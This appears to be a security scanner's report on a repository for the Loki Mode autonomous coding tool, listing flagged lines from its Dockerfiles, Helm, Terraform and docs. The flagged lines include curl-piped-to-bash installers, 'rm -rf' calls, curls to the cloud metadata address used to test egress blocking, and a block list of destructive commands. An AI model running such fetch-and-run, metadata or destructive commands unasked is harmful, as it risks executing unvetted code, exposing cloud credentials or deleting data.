# Observability mode (adds OTEL collector + Jaeger): # docker compose --profile observability up -d # Jaeger UI: http://localhost:16686 - Network accessline 6
# docker compose --profile observability up -d # Jaeger UI: http://localhost:16686 # - Network accessline 7
# Jaeger UI: http://localhost:16686 - Access to secretsline 34
[Credential-related source omitted] - Access to secretsline 41
[Credential-related source omitted] - Access to secretsline 42
[Credential-related source omitted] - Access to secretsline 45
[Credential-related source omitted] - Access to secretsline 48
[Credential-related source omitted] - Access to secretsline 53
[Credential-related source omitted] - Access to secretsline 54
[Credential-related source omitted] - Network accessline 55
[Credential-related source omitted] - Access to secretsline 55
[Credential-related source omitted] - Network accessline 56
healthcheck: test: ["CMD", "curl", "-sf", "http://localhost:47821/health"] interval: 30s - Network accessline 57
test: ["CMD", "curl", "-sf", "http://localhost:47821/health"]
deploy/docker-compose/otel-config.yaml
deploy/ecs/control-plane-task.json
- Access to secretsline 22
[Credential-related source omitted] - Network accessline 25
"mountPoints": [{ "sourceVolume": "control-data", "containerPath": "/data" }], "healthCheck": { "command": ["CMD", "bun", "-e", "fetch('http://127.0.0.1:47821/ready').then(r=>process.exit(r.ok?0:1)).catch(()=>process.exit(1))" - Network accessline 26
"healthCheck": { "command": ["CMD", "bun", "-e", "fetch('http://127.0.0.1:47821/ready').then(r=>process.exit(r.ok?0:1)).catch(()=>process.exit(1))"], "interval": 30, - Network accessline 27
"command": ["CMD", "bun", "-e", "fetch('http://127.0.0.1:47821/ready').then(r=>process.exit(r.ok?0:1)).catch(()=>process.exit(1))"],
deploy/helm/README.md
- Access to secretsline 51
[Credential-related source omitted] - Access to secretsline 53
[Credential-related source omitted] - Access to secretsline 54
[Credential-related source omitted] - Access to secretsline 55
[Credential-related source omitted] - Network accessline 408
`controlplane.probes.readiness.path`. Port-forward and check by hand: `kubectl port-forward -n <ns> svc/<release>-autonomi-controlplane 57374:57374` then `curl localhost:57374/ready` (the Service maps 57374 to the Control Plane port). - Network accessline 410
then `curl localhost:57374/ready` (the Service maps 57374 to the Control Plane port).
deploy/helm/autonomi/Chart.yaml
- Network accessline 10
- development - automation home: https://www.autonomi.dev - Network accessline 11
- automation home: https://www.autonomi.dev sources: - Network accessline 12
home: https://www.autonomi.dev - Network accessline 13
sources: - https://github.com/asklokesh/loki-mode maintainers: - Network accessline 14
- https://github.com/asklokesh/loki-mode
deploy/helm/autonomi/templates/NOTES.txt
- Network accessline 6
[Credential-related source omitted] - Network accessline 7
kubectl port-forward -n {{ .Release.Namespace }} svc/{{ include "autonomi.fullname" . }}-controlplane {{ .Values.service.port }}:{{ .Values.service.port }} http://localhost:{{ .Values.service.port }}/ {{- if and .Values.secrets.existingSe - Network accessline 8
http://localhost:{{ .Values.service.port }}/
deploy/helm/autonomi/templates/_helpers.tpl
deploy/helm/autonomi/templates/deployment-worker.yaml
- Network accessline 77
# Ship run events to the Control Plane in this release. - name: LOKI_CONTROL_URL value: "http://{{ include "autonomi.fullname" . }}-controlplane:{{ .Values.service.port }}" - Network accessline 78
- name: LOKI_CONTROL_URL value: "http://{{ include "autonomi.fullname" . }}-controlplane:{{ .Values.service.port }}" {{- include "autonomi.controlTokenEnv" . | nindent 12 }} - Network accessline 79
value: "http://{{ include "autonomi.fullname" . }}-controlplane:{{ .Values.service.port }}"
deploy/helm/autonomi/templates/job-worker.yaml
- Network accessline 124
# Ship run events to the Control Plane in this release. - name: LOKI_CONTROL_URL value: "http://{{ include "autonomi.fullname" . }}-controlplane:{{ .Values.service.port }}" - Network accessline 125
- name: LOKI_CONTROL_URL value: "http://{{ include "autonomi.fullname" . }}-controlplane:{{ .Values.service.port }}" {{- include "autonomi.controlTokenEnv" . | nindent 12 }} - Network accessline 126
value: "http://{{ include "autonomi.fullname" . }}-controlplane:{{ .Values.service.port }}"
deploy/helm/autonomi/templates/keda-scaledjob.yaml
- Network accessline 68
env: - name: LOKI_CONTROL_URL value: "http://{{ include "autonomi.fullname" . }}-controlplane:{{ .Values.service.port }}" - Network accessline 69
- name: LOKI_CONTROL_URL value: "http://{{ include "autonomi.fullname" . }}-controlplane:{{ .Values.service.port }}" {{- include "autonomi.controlTokenEnv" . | nindent 14 }} - Network accessline 70
value: "http://{{ include "autonomi.fullname" . }}-controlplane:{{ .Values.service.port }}"
deploy/helm/autonomi/templates/secret.yaml
deploy/helm/autonomi/templates/tests/test-controlplane-health.yaml
- Network accessline 58
- | set -eu URL="http://{{ include "autonomi.fullname" . }}-controlplane:{{ .Values.service.port }}{{ .Values.controlplane.probes.readiness.path }}" - Network accessline 59
set -eu URL="http://{{ include "autonomi.fullname" . }}-controlplane:{{ .Values.service.port }}{{ .Values.controlplane.probes.readiness.path }}" echo "probing ${URL}" - Network accessline 60
URL="http://{{ include "autonomi.fullname" . }}-controlplane:{{ .Values.service.port }}{{ .Values.controlplane.probes.readiness.path }}" - Network accessline 65
i=0 while [ "$i" -lt 12 ]; do code=$(curl -s -o /tmp/body -w '%{http_code}' --max-time 5 "${URL}" || echo 000) - Network accessline 66
while [ "$i" -lt 12 ]; do code=$(curl -s -o /tmp/body -w '%{http_code}' --max-time 5 "${URL}" || echo 000) if [ "$code" -ge 200 ] && [ "$code" -lt 300 ]; then - Network accessline 67
code=$(curl -s -o /tmp/body -w '%{http_code}' --max-time 5 "${URL}" || echo 000)
deploy/helm/autonomi/tests/test-connection.yaml
- Network accessline 12
containers: - name: curl image: curlimages/curl:8.5.0 - Network accessline 13
- name: curl image: curlimages/curl:8.5.0 command: - Network accessline 15
command: - curl - "--fail" - Network accessline 16
- curl - "--fail" - "--silent" - Network accessline 20
- "--max-time" - "10" - "http://{{ include "autonomi.fullname" . }}-controlplane:{{ .Values.service.port }}/health" - Network accessline 22
- "http://{{ include "autonomi.fullname" . }}-controlplane:{{ .Values.service.port }}/health"
deploy/helm/autonomi/tests/test-health.yaml
- Network accessline 12
containers: - name: curl image: curlimages/curl:8.5.0 - Network accessline 13
- name: curl image: curlimages/curl:8.5.0 command: - Network accessline 17
- "-c" - | response=$(curl --fail --silent --show-error --max-time 10 \ - Network accessline 18
- | response=$(curl --fail --silent --show-error --max-time 10 \ "http://{{ include "autonomi.fullname" . }}-controlplane:{{ .Values.service.port }}/api/status") - Network accessline 19
response=$(curl --fail --silent --show-error --max-time 10 \ - Network accessline 20
"http://{{ include "autonomi.fullname" . }}-controlplane:{{ .Values.service.port }}/api/status")
deploy/helm/autonomi/values.schema.json
deploy/helm/autonomi/values.yaml
- Network accessline 258
image: "alpine/git:latest" # Git repository to clone into /workspace. REQUIRED when enabled. # https://github.com/owner/repo.git (token injected for private repos) - Network accessline 259
# Git repository to clone into /workspace. REQUIRED when enabled. # https://github.com/owner/repo.git (token injected for private repos) repo: "" - Network accessline 260
# https://github.com/owner/repo.git (token injected for private repos) - Network accessline 332
# --------------------------------------------------------------------------- # Queue-depth driven scaling for the non-default worker modes. Requires KEDA # (https://keda.sh) installed in the cluster -- the chart only renders the CRDs, - Network accessline 333
# Queue-depth driven scaling for the non-default worker modes. Requires KEDA # (https://keda.sh) installed in the cluster -- the chart only renders the CRDs, # it does not install the KEDA operator. - Network accessline 334
# (https://keda.sh) installed in the cluster -- the chart only renders the CRDs,
deploy/helm/control-plane/Chart.yaml
deploy/helm/control-plane/values.yaml
- Access to secretsline 38
[Credential-related source omitted]
deploy/terraform/modules/aws-ecs/main.tf
- Access to secretsline 199
[Credential-related source omitted] - Network accessline 217
// reason the helm test hook retries instead of probing once. healthCheck = { command = ["CMD-SHELL", "curl -fsS http://localhost:${local.control_port}/health || exit 1"] - Network accessline 218
healthCheck = { command = ["CMD-SHELL", "curl -fsS http://localhost:${local.control_port}/health || exit 1"] interval = 30 - Network accessline 219
command = ["CMD-SHELL", "curl -fsS http://localhost:${local.control_port}/health || exit 1"]
deploy/terraform/modules/aws/main.tf
- Network accessline 601
count = var.create_cluster ? 1 : 0 name = "aws-load-balancer-controller" repository = "https://aws.github.io/eks-charts" - Network accessline 602
name = "aws-load-balancer-controller" repository = "https://aws.github.io/eks-charts" chart = "aws-load-balancer-controller" - Network accessline 603
repository = "https://aws.github.io/eks-charts"
deploy/terraform/modules/aws/outputs.tf
- Network accessline 15
output "dashboard_url" { description = "URL to access the Autonomi dashboard." value = var.domain_name != "" ? "https://${var.domain_name}" : "http://<ALB_DNS>:57374" - Network accessline 16
description = "URL to access the Autonomi dashboard." value = var.domain_name != "" ? "https://${var.domain_name}" : "http://<ALB_DNS>:57374" } - Network accessline 17
value = var.domain_name != "" ? "https://${var.domain_name}" : "http://<ALB_DNS>:57374"
deploy/terraform/modules/azure/outputs.tf
- Network accessline 15
output "dashboard_url" { description = "URL to access the Autonomi dashboard." value = var.domain_name != "" ? "https://${var.domain_name}" : "http://<LB_IP>:57374" - Network accessline 16
description = "URL to access the Autonomi dashboard." value = var.domain_name != "" ? "https://${var.domain_name}" : "http://<LB_IP>:57374" } - Network accessline 17
value = var.domain_name != "" ? "https://${var.domain_name}" : "http://<LB_IP>:57374"
deploy/terraform/modules/gcp/main.tf
- Network accessline 124
oauth_scopes = [ "https://www.googleapis.com/auth/cloud-platform", - Network accessline 125
"https://www.googleapis.com/auth/cloud-platform", - Network accessline 159
provider "kubernetes" { host = "https://${local.cluster_endpoint}" - Network accessline 160
host = "https://${local.cluster_endpoint}" - Access to secretsline 162
[Credential-related source omitted] - Network accessline 165
provider "helm" { kubernetes { host = "https://${local.cluster_endpoint}" - Network accessline 166
kubernetes { host = "https://${local.cluster_endpoint}" cluster_ca_certificate = base64decode(local.cluster_ca) - Network accessline 167
host = "https://${local.cluster_endpoint}" - Access to secretsline 169
[Credential-related source omitted]
deploy/terraform/modules/gcp/outputs.tf
- Network accessline 10
output "dashboard_url" { description = "URL to access the Autonomi dashboard." value = var.domain_name != "" ? "https://${var.domain_name}" : "http://<LB_IP>:57374" - Network accessline 11
description = "URL to access the Autonomi dashboard." value = var.domain_name != "" ? "https://${var.domain_name}" : "http://<LB_IP>:57374" } - Network accessline 12
value = var.domain_name != "" ? "https://${var.domain_name}" : "http://<LB_IP>:57374"
docker/.env.example
- Access to secretsline 3
[Credential-related source omitted] - Access to secretsline 4
[Credential-related source omitted] - Access to secretsline 7
[Credential-related source omitted] - Access to secretsline 10
[Credential-related source omitted] - Network accessline 16
# Option 1 (default, recommended): Anthropic API key. # Get one at https://console.anthropic.com/settings/keys - Network accessline 17
# Get one at https://console.anthropic.com/settings/keys - Access to secretsline 18
[Credential-related source omitted] - Access to secretsline 21
[Credential-related source omitted] - Access to secretsline 29
[Credential-related source omitted]
docker/Dockerfile
- Executable scriptline 1
Executable file - Access to secretsline 3
[Credential-related source omitted] - Access to secretsline 4
[Credential-related source omitted] - Network accessline 31
LABEL org.opencontainers.image.version="11.124.2" LABEL description="Loki Mode by Autonomi - Autonomous spec-to-product system (RARV-C closure loop). Providers: Claude Code (CLI or Agent SDK) and opencode" LABEL url="https://www.autonomi.de - Network accessline 33
LABEL url="https://www.autonomi.dev/" - Dangerous shell operationline 39
RUN apt-get update && apt-get install -y --no-install-recommends bash ca-certificates curl git gnupg jq python3 python3-pip python3-venv redis-tools && rm -rf /var/lib/apt/lists/* - Network accessline 39
RUN apt-get update && apt-get install -y --no-install-recommends bash ca-certificates curl - Network accessline 40
bash \ ca-certificates \ curl \ - Network accessline 41
ca-certificates \ curl \ git \ - Network accessline 42
curl \ - Dangerous shell operationline 50
&& rm -rf /var/lib/apt/lists/* - Dangerous shell operationline 53
RUN curl -fsSL https://deb.nodesource.com/gpgkey/nodesource-repo.gpg.key | gpg --dearmor -o /usr/share/keyrings/nodesource.gpg && echo "deb [signed-by=/usr/share/keyrings/nodesource.gpg] https://deb.nodesource.com/node_24.x nodistro ma - Network accessline 53
RUN curl -fsSL https://deb.nodesource.com/gpgkey/nodesource-repo.gpg.key | gpg --dearmor -o /usr/share/keyrings/nodesource.gpg \ - Network accessline 54
&& echo "deb [signed-by=/usr/share/keyrings/nodesource.gpg] https://deb.nodesource.com/node_24.x nodistro main" > /etc/apt/sources.list.d/nodesource.list \ - Dangerous shell operationline 57
&& rm -rf /var/lib/apt/lists/* \ - Network accessline 62
ARG GH_VERSION=2.65.0 RUN ARCH=$(dpkg --print-architecture) && \ curl -fsSL "https://github.com/cli/cli/releases/download/v${GH_VERSION}/gh_${GH_VERSION}_linux_${ARCH}.tar.gz" -o /tmp/gh.tar.gz && \ - Dangerous shell operationline 63
RUN ARCH=$(dpkg --print-architecture) && curl -fsSL "https://github.com/cli/cli/releases/download/v${GH_VERSION}/gh_${GH_VERSION}_linux_${ARCH}.tar.gz" -o /tmp/gh.tar.gz && tar -xzf /tmp/gh.tar.gz -C /tmp && mv /tmp/gh_${GH_V - Network accessline 63
RUN ARCH=$(dpkg --print-architecture) && curl -fsSL "https://github.com/cli/cli/releases/download/v${GH_VERSION}/gh_${GH_VERSION}_linux_${ARCH}.tar.gz" -o /tmp/gh.tar.gz && - Network accessline 64
curl -fsSL "https://github.com/cli/cli/releases/download/v${GH_VERSION}/gh_${GH_VERSION}_linux_${ARCH}.tar.gz" -o /tmp/gh.tar.gz && \ - Dangerous shell operationline 67
rm -rf /tmp/gh* && \ - Dangerous shell operationline 74
RUN apt-get update && apt-get install -y --no-install-recommends unzip && rm -rf /var/lib/apt/lists/* - Network accessline 74
RUN apt-get update && apt-get install -y --no-install-recommends unzip \ && rm -rf /var/lib/apt/lists/* \ && curl -fsSL https://bun.sh/install | bash -s "bun-v${BUN_VERSION}" \ - Dangerous shell operationline 75
&& rm -rf /var/lib/apt/lists/* \ - Network accessline 75
&& rm -rf /var/lib/apt/lists/* \ && curl -fsSL https://bun.sh/install | bash -s "bun-v${BUN_VERSION}" \ && mv /root/.bun/bin/bun /usr/local/bin/bun \ - Dangerous shell operationline 76
&& curl -fsSL https://bun.sh/install | bash -s "bun-v${BUN_VERSION}" \ - Network accessline 76
&& curl -fsSL https://bun.sh/install | bash -s "bun-v${BUN_VERSION}" \ - Dangerous shell operationline 78
&& rm -rf /root/.bun \ - Dangerous shell operationline 83
RUN rm -rf /usr/lib/python3/dist-packages/setuptools* \ - Access to secretsline 98
[Credential-related source omitted] - Network accessline 99
# credentials file (see docs/DOCKER.md). opencode remains # bring-your-own-CLI in Docker. # Use the RECOMMENDED native installer (curl install.sh) rather than the npm - Network accessline 100
# bring-your-own-CLI in Docker. # Use the RECOMMENDED native installer (curl install.sh) rather than the npm # package: the npm path pulls the native binary via a per-platform OPTIONAL - Network accessline 101
# Use the RECOMMENDED native installer (curl install.sh) rather than the npm - Dangerous shell operationline 108
RUN curl -fsSL https://claude.ai/install.sh | bash -s stable \ - Network accessline 108
RUN curl -fsSL https://claude.ai/install.sh | bash -s stable \
docker/Dockerfile.control-plane
- Network accessline 24
FROM oven/bun:${BUN_VERSION}-slim AS runtime LABEL org.opencontainers.image.title="loki-control-plane" LABEL org.opencontainers.image.source="https://github.com/asklokesh/loki-mode" - Network accessline 25
LABEL org.opencontainers.image.title="loki-control-plane" LABEL org.opencontainers.image.source="https://github.com/asklokesh/loki-mode" LABEL url="https://www.autonomi.dev/" - Network accessline 26
LABEL org.opencontainers.image.source="https://github.com/asklokesh/loki-mode" - Network accessline 27
LABEL url="https://www.autonomi.dev/" - Network accessline 43
EXPOSE 47821 HEALTHCHECK --interval=30s --timeout=5s --start-period=10s --retries=3 \ CMD ["bun", "-e", "fetch('http://127.0.0.1:'+(process.env.PORT||47821)+'/ready').then(r=>process.exit(r.ok?0:1)).catch(()=>process.exit(1))"] - Network accessline 44
HEALTHCHECK --interval=30s --timeout=5s --start-period=10s --retries=3 \ CMD ["bun", "-e", "fetch('http://127.0.0.1:'+(process.env.PORT||47821)+'/ready').then(r=>process.exit(r.ok?0:1)).catch(()=>process.exit(1))"] CMD ["bun", "/app/dis - Network accessline 45
CMD ["bun", "-e", "fetch('http://127.0.0.1:'+(process.env.PORT||47821)+'/ready').then(r=>process.exit(r.ok?0:1)).catch(()=>process.exit(1))"]
docker/Dockerfile.sandbox
- Network accessline 32
RUN apt-get update && apt-get install -y --no-install-recommends \ ca-certificates \ curl \ - Network accessline 33
ca-certificates \ curl \ gnupg \ - Network accessline 34
curl \ - Dangerous shell operationline 37
&& rm -rf /var/lib/apt/lists/* - Network accessline 40
# Copied into the runtime stage below so build tools stay out of the final image. ARG BUN_VERSION=1.4.2 RUN curl -fsSL https://bun.sh/install | bash -s "bun-v${BUN_VERSION}" \ - Network accessline 41
ARG BUN_VERSION=1.4.2 RUN curl -fsSL https://bun.sh/install | bash -s "bun-v${BUN_VERSION}" \ && mv /root/.bun/bin/bun /usr/local/bin/bun \ - Dangerous shell operationline 42
RUN curl -fsSL https://bun.sh/install | bash -s "bun-v${BUN_VERSION}" \ - Network accessline 42
RUN curl -fsSL https://bun.sh/install | bash -s "bun-v${BUN_VERSION}" \ - Dangerous shell operationline 44
&& rm -rf /root/.bun \ - Network accessline 47
# Install Node.js 20 LTS (required for Claude CLI and npm packages) # Security: Use official NodeSource repository with GPG verification RUN curl -fsSL https://deb.nodesource.com/gpgkey/nodesource-repo.gpg.key | gpg --dearmor -o /usr/share/ - Network accessline 48
# Security: Use official NodeSource repository with GPG verification RUN curl -fsSL https://deb.nodesource.com/gpgkey/nodesource-repo.gpg.key | gpg --dearmor -o /usr/share/keyrings/nodesource.gpg \ && echo "deb [signed-by=/usr/share/key - Network accessline 49
RUN curl -fsSL https://deb.nodesource.com/gpgkey/nodesource-repo.gpg.key | gpg --dearmor -o /usr/share/keyrings/nodesource.gpg \ - Network accessline 50
&& echo "deb [signed-by=/usr/share/keyrings/nodesource.gpg] https://deb.nodesource.com/node_24.x nodistro main" > /etc/apt/sources.list.d/nodesource.list \ - Dangerous shell operationline 53
&& rm -rf /var/lib/apt/lists/* - Network accessline 55
# Install GitHub CLI # Security: Use official GitHub repository with GPG verification RUN curl -fsSL https://cli.github.com/packages/githubcli-archive-keyring.gpg | gpg --dearmor -o /usr/share/keyrings/githubcli.gpg \ - Network accessline 56
# Security: Use official GitHub repository with GPG verification RUN curl -fsSL https://cli.github.com/packages/githubcli-archive-keyring.gpg | gpg --dearmor -o /usr/share/keyrings/githubcli.gpg \ && echo "deb [arch=$(dpkg --print-archi - Network accessline 57
[Credential-related source omitted] - Access to secretsline 57
[Credential-related source omitted] - Network accessline 58
&& echo "deb [arch=$(dpkg --print-architecture) signed-by=/usr/share/keyrings/githubcli.gpg] https://cli.github.com/packages stable main" > /etc/apt/sources.list.d/github-cli.list \ - Dangerous shell operationline 61
&& rm -rf /var/lib/apt/lists/* - Access to secretsline 88
[Credential-related source omitted] - Network accessline 99
LABEL org.opencontainers.image.version="11.124.2" LABEL description="Security-hardened sandbox for Loki Mode by Autonomi" LABEL url="https://www.autonomi.dev/" - Network accessline 100
LABEL description="Security-hardened sandbox for Loki Mode by Autonomi" LABEL url="https://www.autonomi.dev/" LABEL org.opencontainers.image.source="https://github.com/asklokesh/claudeskill-loki-mode" - Network accessline 101
LABEL url="https://www.autonomi.dev/" - Network accessline 102
LABEL org.opencontainers.image.source="https://github.com/asklokesh/claudeskill-loki-mode" - Network accessline 120
bash \ ca-certificates \ curl \ - Network accessline 121
ca-certificates \ curl \ # Version control - Network accessline 122
curl \ - Dangerous shell operationline 140
&& rm -rf /var/lib/apt/lists/* \ - Dangerous shell operationline 142
&& rm -rf /var/cache/apt/archives/* - Access to secretsline 253
[Credential-related source omitted] - Access to secretsline 327
[Credential-related source omitted]
docker/docker-compose.yml
- Access to secretsline 4
[Credential-related source omitted] - Access to secretsline 7
[Credential-related source omitted] - Access to secretsline 8
[Credential-related source omitted] - Access to secretsline 9
[Credential-related source omitted] - Access to secretsline 30
[Credential-related source omitted] - Access to secretsline 32
[Credential-related source omitted] - Access to secretsline 48
[Credential-related source omitted] - Access to secretsline 49
[Credential-related source omitted] - Access to secretsline 51
[Credential-related source omitted] - Access to secretsline 60
[Credential-related source omitted] - Access to secretsline 65
[Credential-related source omitted] - Access to secretsline 76
[Credential-related source omitted] - Access to secretsline 78
[Credential-related source omitted] - Network accessline 85
# BUG-DK-002: Health check for dashboard API when running healthcheck: test: ["CMD-SHELL", "curl -sf http://localhost:57374/health >/dev/null 2>&1 || loki version >/dev/null 2>&1"] - Network accessline 86
healthcheck: test: ["CMD-SHELL", "curl -sf http://localhost:57374/health >/dev/null 2>&1 || loki version >/dev/null 2>&1"] interval: 30s - Network accessline 87
test: ["CMD-SHELL", "curl -sf http://localhost:57374/health >/dev/null 2>&1 || loki version >/dev/null 2>&1"] - Network accessline 102
- "8100:8000" healthcheck: test: ["CMD", "curl", "-f", "http://localhost:8000/api/v2/heartbeat"] - Network accessline 103
healthcheck: test: ["CMD", "curl", "-f", "http://localhost:8000/api/v2/heartbeat"] interval: 10s - Network accessline 104
test: ["CMD", "curl", "-f", "http://localhost:8000/api/v2/heartbeat"] - Access to secretsline 128
[Credential-related source omitted] - Network accessline 186
# /health is a real route on this server and does not touch the queue. healthcheck: test: ["CMD-SHELL", "python3 -c \"import urllib.request;urllib.request.urlopen('http://localhost:7373/health').read()\""] - Network accessline 187
healthcheck: test: ["CMD-SHELL", "python3 -c \"import urllib.request;urllib.request.urlopen('http://localhost:7373/health').read()\""] interval: 30s - Network accessline 188
test: ["CMD-SHELL", "python3 -c \"import urllib.request;urllib.request.urlopen('http://localhost:7373/health').read()\""] - Access to secretsline 211
[Credential-related source omitted] - Access to secretsline 216
[Credential-related source omitted]
docs/404.html
- Network accessline 3
<head> <meta charset="UTF-8"> <meta http-equiv="refresh" content="0; url=https://www.autonomi.dev/"> - Network accessline 4
<meta charset="UTF-8"> <meta http-equiv="refresh" content="0; url=https://www.autonomi.dev/"> <link rel="canonical" href="https://www.autonomi.dev/"> - Network accessline 5
<meta http-equiv="refresh" content="0; url=https://www.autonomi.dev/"> - Network accessline 6
<link rel="canonical" href="https://www.autonomi.dev/"> - Network accessline 61
<h1>Loki Mode</h1> <div class="spinner"></div> <p>Redirecting to <a href="https://www.autonomi.dev/">autonomi.dev</a>...</p> - Network accessline 62
<div class="spinner"></div> <p>Redirecting to <a href="https://www.autonomi.dev/">autonomi.dev</a>...</p> </div> - Network accessline 63
<p>Redirecting to <a href="https://www.autonomi.dev/">autonomi.dev</a>...</p> - Network accessline 64
</div> <script>window.location.replace("https://www.autonomi.dev/");</script> </body> - Network accessline 65
<script>window.location.replace("https://www.autonomi.dev/");</script>
docs/AGENT-CHANGE-RECEIPT.md
- Network accessline 31
`loki verify --export-dsse` prints a VERIFIED or ALREADY_SATISFIED receipt as an in-toto Statement v1 inside a DSSE envelope signed Ed25519 over the DSSE PAE bytes (`loki-ts/src/features/receipt_dsse.ts:1-33`). The subject is `git+commit:<h
docs/ARCHITECTURE.md
- Network accessline 3
Loki Mode is the flagship product of [Autonomi](https://www.autonomi.dev/): an
docs/CLI-CORE-VERBS.md
docs/COMPARE-OPENCODE.md
- Network accessline 35
**Install and onboarding.** opencode installs as one tool and logs in to a provider. Loki needs Node.js 18+, Python 3.8+, git, jq, curl and a model: - Network accessline 36
provider. Loki needs Node.js 18+, Python 3.8+, git, jq, curl and a model: - Access to secretsline 60
[Credential-related source omitted]
docs/COMPONENTS.md
- Access to secretsline 163
[Credential-related source omitted]
docs/DEPLOY-PLAN.md
- Network accessline 203
Vercel: brew install vercel | https://vercel.com/docs/cli - Network accessline 204
Netlify: brew install netlify-cli | https://docs.netlify.com/cli/get-started/ - Network accessline 205
Fly.io: brew install flyctl | https://fly.io/docs/flyctl/install/ - Network accessline 206
Cloudflare: npm i -g wrangler | https://developers.cloudflare.com/workers/wrangler/install-and-update/
docs/DEPLOYMENT.md
- Access to secretsline 76
[Credential-related source omitted] - Network accessline 99
| Field | Value | |---|---| | Payload URL | `https://loki.example.com/webhook` | - Network accessline 100
|---|---| | Payload URL | `https://loki.example.com/webhook` | | Content type | `application/json` | - Network accessline 101
| Payload URL | `https://loki.example.com/webhook` | - Network accessline 223
[Credential-related source omitted] - Access to secretsline 223
[Credential-related source omitted] - Access to secretsline 224
[Credential-related source omitted] - Network accessline 229
[Credential-related source omitted] - Access to secretsline 229
[Credential-related source omitted] - Network accessline 230
https://loki.example.com/jobs/<id> - Network accessline 324
helm test loki -n loki-verify --logs # Phase: Succeeded # GET http://loki-loki-mode-receiver:80/health -> 200 {"status": "ok", "service": "loki-trigger-server"} - Network accessline 325
# Phase: Succeeded # GET http://loki-loki-mode-receiver:80/health -> 200 {"status": "ok", "service": "loki-trigger-server"} # PASS: receiver is serving - Network accessline 326
# GET http://loki-loki-mode-receiver:80/health -> 200 {"status": "ok", "service": "loki-trigger-server"} - Network accessline 337
kubectl port-forward -n loki-verify svc/loki-loki-mode-receiver 18080:80 & curl -s http://127.0.0.1:18080/status - Network accessline 338
curl -s http://127.0.0.1:18080/status - Network accessline 387
kubectl exec -n loki-verify "$W" -- curl -s --max-time 5 http://169.254.169.254/ - Network accessline 395
kubectl delete networkpolicy -n loki-verify loki-loki-mode-worker kubectl exec -n loki-verify "$W" -- curl -s --max-time 5 http://169.254.169.254/ - Network accessline 396
kubectl exec -n loki-verify "$W" -- curl -s --max-time 5 http://169.254.169.254/ - Network accessline 457
kubectl exec -it deploy/loki-worker -- \ curl -s --max-time 5 http://169.254.169.254/ && echo "NOT BLOCKED" || echo "blocked" - Network accessline 458
curl -s --max-time 5 http://169.254.169.254/ && echo "NOT BLOCKED" || echo "blocked" - Access to secretsline 469
[Credential-related source omitted] - Access to secretsline 470
[Credential-related source omitted] - Network accessline 533
loki start "a todo app with login" --deploy \ --destination production --domain todo.example.com --env-file .env.production \ --health-url https://todo.example.com/health --auto-rollback --github - Network accessline 534
--destination production --domain todo.example.com --env-file .env.production \ --health-url https://todo.example.com/health --auto-rollback --github loki verify --url https://todo.example.com - Network accessline 535
--health-url https://todo.example.com/health --auto-rollback --github - Network accessline 536
loki verify --url https://todo.example.com - Access to secretsline 556
[Credential-related source omitted]
docs/DOCKER.md
- Access to secretsline 30
[Credential-related source omitted] - Access to secretsline 31
[Credential-related source omitted] - Network accessline 76
# 1. Get the repo (provides docker/docker-compose.yml and docker/.env.example) git clone https://github.com/asklokesh/loki-mode.git - Network accessline 77
git clone https://github.com/asklokesh/loki-mode.git - Access to secretsline 81
[Credential-related source omitted] - Access to secretsline 82
[Credential-related source omitted] - Network accessline 95
docker compose -f docker/docker-compose.yml run --service-ports loki start --api prd.md # Dashboard at http://localhost:57374 - Network accessline 96
# Dashboard at http://localhost:57374 - Access to secretsline 111
[Credential-related source omitted] - Access to secretsline 112
[Credential-related source omitted] - Access to secretsline 117
[Credential-related source omitted] - Access to secretsline 118
[Credential-related source omitted] - Network accessline 120
-v "$(pwd)":/workspace \ asklokesh/loki-mode start --api prd.md # Dashboard at http://localhost:57374 - Network accessline 122
# Dashboard at http://localhost:57374 - Network accessline 131
[Credential-related source omitted] - Access to secretsline 131
[Credential-related source omitted] - Access to secretsline 136
[Credential-related source omitted] - Access to secretsline 137
[Credential-related source omitted] - Access to secretsline 143
[Credential-related source omitted] - Access to secretsline 144
[Credential-related source omitted] - Access to secretsline 153
[Credential-related source omitted] - Access to secretsline 156
[Credential-related source omitted] - Access to secretsline 206
[Credential-related source omitted] - Access to secretsline 207
[Credential-related source omitted] - Access to secretsline 212
[Credential-related source omitted] - Access to secretsline 213
[Credential-related source omitted] - Network accessline 224
[Credential-related source omitted] - Access to secretsline 224
[Credential-related source omitted] - Network accessline 225
[Credential-related source omitted] - Access to secretsline 225
[Credential-related source omitted] - Network accessline 227
asklokesh/loki-mode issue https://github.com/org/repo/issues/42 - Access to secretsline 251
[Credential-related source omitted] - Access to secretsline 254
[Credential-related source omitted] - Access to secretsline 266
[Credential-related source omitted] - Access to secretsline 271
[Credential-related source omitted] - Access to secretsline 272
[Credential-related source omitted] - Access to secretsline 273
[Credential-related source omitted] - Access to secretsline 276
[Credential-related source omitted] - Access to secretsline 290
[Credential-related source omitted] - Access to secretsline 291
[Credential-related source omitted] - Dangerous shell operationline 324
| `LOKI_BLOCKED_COMMANDS` | SANDBOX-SCOPED: blocked `loki sandbox run` argv (does NOT filter agent commands) | `rm -rf /,dd if=,mkfs,...` | - Access to secretsline 388
[Credential-related source omitted] - Access to secretsline 394
[Credential-related source omitted] - Access to secretsline 398
[Credential-related source omitted] - Access to secretsline 403
[Credential-related source omitted] - Access to secretsline 412
[Credential-related source omitted] - Access to secretsline 425
[Credential-related source omitted] - Access to secretsline 429
[Credential-related source omitted] - Network accessline 458
- [GitHub Repository](https://github.com/asklokesh/loki-mode) - Network accessline 459
- [Installation Guide](https://github.com/asklokesh/loki-mode/blob/main/docs/INSTALLATION.md) - Network accessline 460
- [Documentation](https://asklokesh.github.io/loki-mode) - Network accessline 461
- [PRD Templates](https://github.com/asklokesh/loki-mode/tree/main/templates) - Network accessline 465
Business Source License 1.1 (BUSL-1.1). Source-available, not open source. See [LICENSE](https://github.com/asklokesh/loki-mode/blob/main/LICENSE) and [docs/LICENSE-CHANGE-NOTICE.md](https://github.com/asklokesh/loki-mode/blob/main/docs/LIC - Network accessline 469
- [GitHub Issues](https://github.com/asklokesh/loki-mode/issues) - Network accessline 470
- [Documentation Wiki](https://github.com/asklokesh/loki-mode/wiki)
docs/INSTALLATION.md
- Network accessline 3
Loki Mode, by [Autonomi](https://www.autonomi.dev/), turns a spec or an issue into a verified pull request with a receipt you can check. This page covers installing it, a first run, and the options around it. - Dangerous shell operationline 35
Skips the bundled Bun binary (62 to 86 MB per platform), the Claude Agent SDK and the OpenTelemetry packages. You then need Bun on `PATH` (`curl -fsSL https://bun.sh/install | bash`); without it every command exits with an error that says h - Network accessline 35
